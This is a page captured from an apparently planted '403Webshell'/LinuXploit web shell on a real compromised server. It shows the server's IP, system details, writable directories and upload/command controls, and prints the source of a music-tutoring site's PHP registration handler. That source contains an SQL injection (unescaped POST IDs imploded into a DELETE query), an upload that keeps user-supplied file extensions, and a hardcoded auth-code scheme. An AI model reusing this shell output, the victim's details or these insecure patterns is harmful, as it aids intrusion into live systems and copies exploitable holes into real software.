403Webshell
Server IP : 210.245.233.93  /  Your IP : 216.73.216.226
Web Server : Apache/2.2.15 (CentOS)
System : Linux webserver2.onesolution.com.hk 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : exec, shell_exec, system, passthru, popen, proc_open, pcntl_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/hkosl.com/m.musiccircle/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/hkosl.com/m.musiccircle/tutor_process.php
<?php
	include('_init.php');
	require_once 'webadmin/function_auth.php';

	if ($_SESSION["is_tutor"] != 1) {
		header("Location: index.php");
		exit;
	}

	require_once("webadmin/mime_type_lib.php");

	$nowdate = date("Y-m-d H:i:s");
	$message = "";
	//print_r($cms_user_info);

	if ($_POST["id"]) {
		$row = get_teacher((int)$_POST["id"]);
	}

	if (!$row['id']) {
		if (!$_POST["email"]) {
			$message .= _lang("請輸入你的電郵") . "\\n\\n";
		} else {
			//checkEmail
			$sql          = "SELECT count(*) as count FROM tutor_main WHERE email=? AND deleted = 0";
			$parameters   = array($_POST['email']);
			$record_email = bind_pdo($sql, $parameters, "selectone");

			if ($record_email['count'] > 0) {
				$message .= _lang("你的電郵已有人使用") . "\\n\\n";
			}
		}
		if (!$_POST["password"]) {
			$message .= _lang("請輸入你的密碼") . "\\n\\n";
		} else {
			if (strlen($_POST["password"]) < 8) {
				$message .= _lang("必須輸入最少8位字元的密碼") . "\\n\\n";
			} elseif ($_POST["password"] != $_POST["repassword"]) {
				$message .= _lang("你輸入的密碼不一致") . "\\n\\n";
			}
		}
	}else{
		if ($_POST["password"]) {
			if (strlen($_POST["password"]) < 8) {
				$message .= _lang("必須輸入最少8位字元的密碼") . "\\n\\n";
			} elseif ($_POST["password"] != $_POST["repassword"]) {
				$message .= _lang("你輸入的密碼不一致") . "\\n\\n";
			}
		}
	}
	if (!empty($message)) {
		echo "<script>alert('" . $message . "'); history.back();</script>";
		exit;
	}


	if ($row) {
		$id = intval($_POST['id']);
		if ($_POST["password"]) {
			$data['cmsloginpw'] = Password::hash($_POST['password']);
			$sql                = mysql_install($data, 'sys_cms_login', 'edit', 'cmsloginid');
			$data['cmsloginid'] = $row{'cmsloginid'};
			$arraykey           = array_keys($data);
			unset($parameters);
			for ($i = 0; $i < count($arraykey); $i++) {
				$parameters[$i] = $data[$arraykey[$i]];
			}
			bind_pdo($sql, $parameters);

			unset($data);
		}
	} else {
		//CMS Login
		$sql                         = "select max(cmsloginid) as maxid from sys_cms_login ";
		$parameters                  = array();
		$row2                        = bind_pdo($sql, $parameters, "selectone");
		$cmsloginid                  = $row2{"maxid"} + 1;
		$data['cmsloginid']          = $cmsloginid;
		$data['cmsusername']         = aes_crypt($_POST['email'], 1);
		$data['cmsloginname']        = aes_crypt($_POST['email'], 1);
		$data['cmsloginpw']          = Password::hash($_POST['password']);
		$data['cmsrole']             = 'user';
		$data['cmsstatus']           = '1';
		$data['createdate']          = $nowdate;
		$data['createby']            = '';
		$data['lastupdate']          = $nowdate;
		$data['lastupby']            = '';
		$data['password_expirydate'] = '2047-07-01';
		$data['deleted']             = 0;
		$data['is_tutor']            = 1;
		$data['is_student']          = 0;
		$sql                         = mysql_install($data, 'sys_cms_login', 'add');
		$arraykey                    = array_keys($data);
		unset($parameters);
		for ($i = 0; $i < count($arraykey); $i++) {
			$parameters[$i] = $data[$arraykey[$i]];
		}
		bind_pdo($sql, $parameters);

		//
		unset($data);
		$data['deleted']    = 0;
		$data['profile_id'] = 3;
		$data['user_id']    = $cmsloginid;
		$sql                = mysql_install($data, 'profile_user', 'add');
		$arraykey           = array_keys($data);
		unset($parameters);
		for ($i = 0; $i < count($arraykey); $i++) {
			$parameters[$i] = $data[$arraykey[$i]];
		}
		bind_pdo($sql, $parameters);
		unset($data);
		//
		$sql        = "select max(id) as maxid from tutor_main ";
		$parameters = array();
		$row2       = bind_pdo($sql, $parameters, "selectone");

		$id                      = $row2{"maxid"} + 1;
		$data['tutor_no']        = gettutorNo($id);
		$data['status']          = 4;
		$data['approved']        = 1;
		$data['approved_date']   = $nowdate;
		$data['approved_by']     = $_SESSION['cmsloginid'];
		$data['createdate']      = $nowdate;
		$data['lastupdate']      = $nowdate;
		$data['id']              = $id;
		$data['cmsloginid']      = $cmsloginid;
		$data['email']           = aes_crypt($_POST['email'], 1);
		$data['isemailverified'] = 1;
		$data['isphoneverified'] = 1;
	}
	if ($_POST['mobno']) {
		$data['mobno'] = aes_crypt($_POST['mobno'], 1);
	}
	$data['nickname'] = $_POST['nickname'];
	$data['name_en']  = $_POST['name_en'];
	$data['name_cn']  = $_POST['name_cn'];

	if (!$_POST["profilephoto_path_on"]) {
		$data['profilephoto_path'] = '';
	}

	if (!empty($_POST["base64_profilephoto_path"])) {
		$base64_string = $_POST["base64_profilephoto_path"];
		$file_data     = explode(',', $base64_string);

		if (strpos($file_data[0], "image/jpeg") !== false || strpos($file_data[0], "image/png") !== false) {
			if (strpos($file_data[0], "image/jpeg") !== false) {
				$file_ext = ".jpg";
			} else if (strpos($file_data[0], "image/png") !== false) {
				$file_ext = ".png";
			}

			$newfilename = random_string(10) . "_tutor_profilephoto_path_" . $id . $file_ext; // default length 8

			$output_file = "file/teacher/" . $newfilename;
			$ifp         = fopen($output_file, "wb");

			fwrite($ifp, base64_decode($file_data[1]));
			fclose($ifp);

			image_fix_orientation("file/teacher/" . $newfilename);

			$data['profilephoto_path'] = $newfilename;

			//copy file to production
			$auth_code  = aes_crypt(date("Ymd") . "imusiccircle", 1);
			$url        = $site_info["url"] . "copy_files.php";
			$postData   = array("auth_code" => $auth_code, "app_file_full_path" => $site_info["app_url"] . "file/teacher/" . $newfilename, "app_file_path" => "file/teacher/" . $newfilename);
			$copy_files = call_curl($url, $postData, 1);

			$sql        = "update tutor_main set copy_files = ? where id = ?";
			$parameters = array($copy_files, $id);
			bind_pdo($sql, $parameters);

		}
	}


	$data['idno']                     = aes_crypt($_POST['idno'], 1);
	$data['hometelno']                = aes_crypt($_POST['hometelno'], 1);
	$data['gender']                   = $_POST['gender'];
	$data['dob_mon']                  = $_POST['dob_mon'];
	$data['dob_year']                 = $_POST['dob_year'];
	$data['mas_residencecode']        = $_POST['mas_residencecode'];
	$data['mas_teachexp']             = $_POST['mas_teachexp'];
	$data['self_describemyself']      = $_POST['self_describemyself'];
	$data['self_intro']               = $_POST['self_intro'];
	$data['youtube_url']              = $_POST['youtube_url'];
	$data['studentagerange_expected'] = $_POST['studentagerange_expected'];
	$data['cansupplyinstrument']      = $_POST['cansupplyinstrument'];
	$data['canaccompany']             = $_POST['canaccompany'];

	$sql         = "select profile_id from `profile_user` as tb where user_id = ? and deleted = ? LIMIT 1";
	$parameters  = array($_SESSION['cmsloginid'], 0);
	$row_profile = bind_pdo($sql, $parameters, "selectone");

	if ($row_profile['profile_id'] == 1 || $row_profile['profile_id'] == 2) {
		$data['recommend'] = (int)$_POST['recommend'];
		$data['youtube']   = $_POST['youtube'];
	}

	if ($row_profile['profile_id'] == 3) {
		$data['approved']      = 0;
		$data['approved_date'] = $nowdate;
		$data['approved_by']   = $_SESSION['cmsloginid'];
		insert_approval_list('TUTOR', 'tutor_main', $id);
	}
	$data['lastupby']   = $_SESSION['cmsloginid'];
	$data['lastupdate'] = $nowdate;
	$data['deleted']    = 0;
	if ($row) {
		$sql        = mysql_install($data, 'tutor_main', 'edit', 'id', $id);
		$data['id'] = $id;
	} else {
		$sql = mysql_install($data, 'tutor_main', 'add');
	}
	$arraykey = array_keys($data);
	unset($parameters);
	for ($i = 0; $i < count($arraykey); $i++) {
		$parameters[$i] = $data[$arraykey[$i]];
	}
	bind_pdo($sql, $parameters);

	// 授課場地
	unset($tmpdata);
	$sql        = "DELETE FROM `tutor_teachvenus` WHERE tutormain_id=?;";
	$parameters = array($id);
	bind_pdo($sql, $parameters);
	foreach ($_POST['teachvenus_id'] as $value) {
		$tmpdata['tutormain_id']   = $id;
		$tmpdata['mas_teachvenus'] = $value;
		$tmpdata['lastupby']       = $nowdate;
		$tmpdata['lastupdate']     = $_SESSION['cmsloginid'];
		$tmpdata['deleted']        = 0;

		$sql      = mysql_install($tmpdata, 'tutor_teachvenus', 'add');
		$arraykey = array_keys($tmpdata);
		unset($parameters);
		for ($i = 0; $i < count($arraykey); $i++) {
			$parameters[$i] = $tmpdata[$arraykey[$i]];
		}
		bind_pdo($sql, $parameters);
	}
	// 授課模式
	unset($tmpdata);
	$sql        = "DELETE FROM `tutor_teachmode` WHERE tutormain_id=?;";
	$parameters = array($id);
	bind_pdo($sql, $parameters);
	if (is_array($_POST['teachmode_id'])) {
		foreach ($_POST['teachmode_id'] as $value) {
			$tmpdata['tutormain_id']  = $id;
			$tmpdata['mas_teachmode'] = $value;
			$tmpdata['lastupby']      = $nowdate;
			$tmpdata['lastupdate']    = $_SESSION['cmsloginid'];
			$tmpdata['deleted']       = 0;
			$sql                      = mysql_install($tmpdata, 'tutor_teachmode', 'add');
			$arraykey                 = array_keys($tmpdata);
			unset($parameters);
			for ($i = 0; $i < count($arraykey); $i++) {
				$parameters[$i] = $tmpdata[$arraykey[$i]];
			}
			bind_pdo($sql, $parameters);
		}
	}
	// 樂器履歷
	unset($tmpdata);
	$sql        = "instrumentquali";
	$sql        = "DELETE FROM `tutor_instrumentquali` WHERE tutormain_id=?;";
	$post       = formatPostData($_POST['instrumentquali']);
	$parameters = array($id);
	bind_pdo($sql, $parameters);

	if (is_array($post)) {
		foreach ($post as $value) {
			$tmpdata['tutormain_id']   = $id;
			$tmpdata['mas_instrument'] = $value['mas_instrument'];
			$tmpdata['grade']          = $value['grade'];
			$tmpdata['year']           = $value['year'];
			$tmpdata['lastupby']       = $nowdate;
			$tmpdata['lastupdate']     = $_SESSION['cmsloginid'];
			$tmpdata['deleted']        = 0;
			$sql                       = mysql_install($tmpdata, 'tutor_instrumentquali', 'add');
			$arraykey                  = array_keys($tmpdata);
			unset($parameters);
			for ($i = 0; $i < count($arraykey); $i++) {
				$parameters[$i] = $tmpdata[$arraykey[$i]];
			}
			bind_pdo($sql, $parameters);
		}
	}
	//上載音樂証書
	unset($tmpdata);
	if (is_array($_POST['tutor_cert']['id'])) {
		$sql = "DELETE FROM `tutor_cert` WHERE tutormain_id=? and id not in (" . implode(',', $_POST['tutor_cert']['id']) . ");";
	} else {
		$sql = "DELETE FROM `tutor_cert` WHERE tutormain_id=?;";
	}
	$file       = formatPostData($_FILES['tutor_cert']);
	$parameters = array($id);
	bind_pdo($sql, $parameters);
	if (is_array($file)) {
		for ($i = 0; $i < count($file['file']['name']); $i++) {
			if ($file['file']['name'][$i]) {

				//check if image type is valid or not
				$mime = get_file_mime_type($file['file']['tmp_name'][$i]);

				if (($mime == "image/jpeg") || ($mime == "image/png") || ($mime == "application/pdf")) {

					$filename = $file['file']['name'][$i];
					preg_match("/\.([^\.]+)$/", $filename, $file_ext);
					$newfilename = random_string(10) . "_teacher_refid_" . $id . "." . $file_ext[1]; // default length 8
					move_uploaded_file($file['file']['tmp_name'][$i], "file/teacher/" . $newfilename) or die ("Could not copy the file");

					image_fix_orientation("file/teacher/" . $newfilename);

					$photo = $newfilename;

					//copy file to production
					$auth_code  = aes_crypt(date("Ymd") . "imusiccircle", 1);
					$url        = $site_info["url"] . "copy_files.php";
					$postData   = array("auth_code" => $auth_code, "app_file_full_path" => $site_info["app_url"] . "file/teacher/" . $newfilename, "app_file_path" => "file/teacher/" . $newfilename);
					$copy_files = call_curl($url, $postData, 1);

				} else {
					$invalid_upload_file_format = true;
				}

				/*if ($invalid_upload_file_format) {
					echo '<script>alert("' . _lang("Invalid file format.") . '"); history.back();</script>';
					exit;
				}*/


				//check if image type is valid or not
				/*$filename = $file['file']['name'][$i];
				preg_match("/\.([^\.]+)$/", $filename, $file_ext);
				$newfilename = random_string(10) . "_cert_refid_" . $id . "." . $file_ext[1]; // default length 8
				move_uploaded_file($file['file']['tmp_name'][$i], "file/teacher/" . $newfilename) or die ("Could not copy the file");
				$photo = $newfilename;*/

				$tmpdata['tutormain_id'] = $id;
				$tmpdata['cert_path']    = $photo;
				$tmpdata['lastupby']     = $nowdate;
				$tmpdata['lastupdate']   = $_SESSION['cmsloginid'];
				$tmpdata['deleted']      = 0;

				if ($_POST['tutor_cert']['id'][$i]) {
					$sql           = mysql_install($tmpdata, 'tutor_cert', 'edit', 'id');
					$tmpdata['id'] = $_POST['tutor_cert']['id'][$i];
					$arraykey      = array_keys($tmpdata);
					unset($parameters);
					for ($i = 0; $i < count($arraykey); $i++) {
						$parameters[$i] = $tmpdata[$arraykey[$i]];
					}
					bind_pdo($sql, $parameters);
				} else {
					$sql      = mysql_install($tmpdata, 'tutor_cert', 'add');
					$arraykey = array_keys($tmpdata);
					unset($parameters);
					for ($i = 0; $i < count($arraykey); $i++) {
						$parameters[$i] = $tmpdata[$arraykey[$i]];
					}
					bind_pdo($sql, $parameters);
				}
			}
		}
	}
	// 期望學生年齡
	unset($tmpdata);
	$sql        = "DELETE FROM `tutor_expstudentage` WHERE tutormain_id=?;";
	$parameters = array($id);
	bind_pdo($sql, $parameters);
	if (is_array($_POST['expstudentage_id'])) {
		foreach ($_POST['expstudentage_id'] as $value) {
			$tmpdata['tutormain_id']      = $id;
			$tmpdata['mas_expstudentage'] = $value;
			$tmpdata['lastupby']          = $_SESSION['cmsloginid'];
			$tmpdata['lastupdate']        = $nowdate;
			$tmpdata['deleted']           = 0;
			$sql                          = mysql_install($tmpdata, 'tutor_expstudentage', 'add');
			$arraykey                     = array_keys($tmpdata);
			unset($parameters);
			for ($i = 0; $i < count($arraykey); $i++) {
				$parameters[$i] = $tmpdata[$arraykey[$i]];
			}
			bind_pdo($sql, $parameters);
		}
	}
	//授課地區
	$sql        = "DELETE FROM `tutor_teachareacode` WHERE tutormain_id=?;";
	$parameters = array($id);
	bind_pdo($sql, $parameters);
	$sql        = "select * from master_type_code where typeid = ? and deleted = ?";
	$parameters = array('TEACH_AREACODE', 0);
	$rows_area  = bind_pdo($sql, $parameters, "selectall");
	foreach ($rows_area as $row_area) {
		unset($studenhome_addcharge);
		foreach ($_POST['studenhome_addcharge' . $row_area['id']] as $value) {
			if ($value) {
				$studenhome_addcharge[] = $value;
			}
		}
		foreach ($_POST['area' . $row_area['id']] as $index => $value) {
			unset($tmpdata);
			echo $row_area['id'] . $index . '<br>';
			$tmpdata['tutormain_id']         = $id;
			$tmpdata['mas_teachareacode']    = $value;
			$tmpdata['studenhome_addcharge'] = $studenhome_addcharge[$index] ? $studenhome_addcharge[$index] : 0;
			$tmpdata['lastupdate']           = $nowdate;
			$tmpdata['deleted']              = 0;
			$sql                             = mysql_install($tmpdata, 'tutor_teachareacode', 'add');
			$arraykey                        = array_keys($tmpdata);
			unset($parameters);
			for ($i = 0; $i < count($arraykey); $i++) {
				$parameters[$i] = $tmpdata[$arraykey[$i]];
			}
			bind_pdo($sql, $parameters);
		}
	}
	//選擇任教樂器
	$sql         = "select id from tutor_charge where tutormain_id = ?";
	$parameters  = array($id);
	$rows_charge = bind_pdo($sql, $parameters, "selectall");
	foreach ($rows_charge as $row_charge) {
		$sql        = "DELETE FROM `tutor_expectcharge` WHERE charge_id = ?;";
		$parameters = array($row_charge['id']);
		bind_pdo($sql, $parameters);
	}
	$sql        = "DELETE FROM `tutor_charge` WHERE tutormain_id=?;";
	$parameters = array($id);
	bind_pdo($sql, $parameters);
	if (is_array($_POST['tutor_expectcharge'])) {
		//print_r($_POST['tutor_expectcharge']);
		for ($q = 1; $q <= 6; $q++) {
			if ($_POST['tutor_expectcharge']['mas_instrument' . $q]) {
				unset($tmpdata);
				$sql                       = "select max(id) as maxid from tutor_charge ";
				$parameters                = array();
				$row2                      = bind_pdo($sql, $parameters, "selectone");
				$charge_id                 = $row2{"maxid"} + 1;
				$tmpdata['id']             = $charge_id;
				$tmpdata['tutormain_id']   = $id;
				$tmpdata['instrument_no']  = $q;
				$tmpdata['mas_instrument'] = $_POST['tutor_expectcharge']['mas_instrument' . $q];
				$tmpdata['lastupdate']     = $nowdate;
				$tmpdata['deleted']        = 0;
				$sql                       = mysql_install($tmpdata, 'tutor_charge', 'add');
				$arraykey                  = array_keys($tmpdata);
				unset($parameters);
				for ($i = 0; $i < count($arraykey); $i++) {
					$parameters[$i] = $tmpdata[$arraykey[$i]];
				}
				bind_pdo($sql, $parameters);

				for ($a = 1; $a <= 9; $a++) {
					if ($_POST['tutor_expectcharge']['charge_30min' . $q . '_' . $a] || $_POST['tutor_expectcharge']['charge_45min' . $q . '_' . $a] || $_POST['tutor_expectcharge']['charge_60min' . $q . '_' . $a]) {
						unset($tmpdata);
						$tmpdata['charge_id']    = $charge_id;
						$tmpdata['type']         = 'fee';
						$tmpdata['grade']        = $a;
						$tmpdata['charge_30min'] = $_POST['tutor_expectcharge']['charge_30min' . $q . '_' . $a];
						$tmpdata['charge_45min'] = $_POST['tutor_expectcharge']['charge_45min' . $q . '_' . $a];
						$tmpdata['charge_60min'] = $_POST['tutor_expectcharge']['charge_60min' . $q . '_' . $a];
						$tmpdata['lastupdate']   = $nowdate;
						$tmpdata['deleted']      = 0;
						$sql                     = mysql_install($tmpdata, 'tutor_expectcharge', 'add');
						$arraykey                = array_keys($tmpdata);
						unset($parameters);
						for ($i = 0; $i < count($arraykey); $i++) {
							$parameters[$i] = $tmpdata[$arraykey[$i]];
						}
						bind_pdo($sql, $parameters);
					}
				}
				for ($a = 1; $a <= 3; $a++) {
					if ($_POST['tutor_expectcharge']['t_charge_30min' . $q . '_' . $a] || $_POST['tutor_expectcharge']['t_charge_45min' . $q . '_' . $a] || $_POST['tutor_expectcharge']['t_charge_60min' . $q . '_' . $a]) {
						unset($tmpdata);
						$tmpdata['charge_id']    = $charge_id;
						$tmpdata['type']         = 'tfee';
						$tmpdata['grade']        = $a;
						$tmpdata['charge_30min'] = $_POST['tutor_expectcharge']['t_charge_30min' . $q . '_' . $a];
						$tmpdata['charge_45min'] = $_POST['tutor_expectcharge']['t_charge_45min' . $q . '_' . $a];
						$tmpdata['charge_60min'] = $_POST['tutor_expectcharge']['t_charge_60min' . $q . '_' . $a];
						$tmpdata['lastupdate']   = $nowdate;
						$tmpdata['deleted']      = 0;
						$sql                     = mysql_install($tmpdata, 'tutor_expectcharge', 'add');
						$arraykey                = array_keys($tmpdata);
						unset($parameters);
						for ($i = 0; $i < count($arraykey); $i++) {
							$parameters[$i] = $tmpdata[$arraykey[$i]];
						}
						bind_pdo($sql, $parameters);
					}
				}
			}
		}
	}
	$row = get_teacher((int)$id);
	if ($row['status'] > 2) {
		$status = 2;
	} else if ($row['status'] <= 2) {
		$status = 1;
	}

	if ($invalid_upload_file_format) {
		echo '<script>alert("' . _lang("部份音樂証書格式不正確。請重新上載。") . '"); history.back();</script>';
		exit;
	}else{
		//header("Location: tutor_profile.php?update=1");
		header("Location: index.php");
	}


Youez - 2016 - github.com/yon3zu
LinuXploit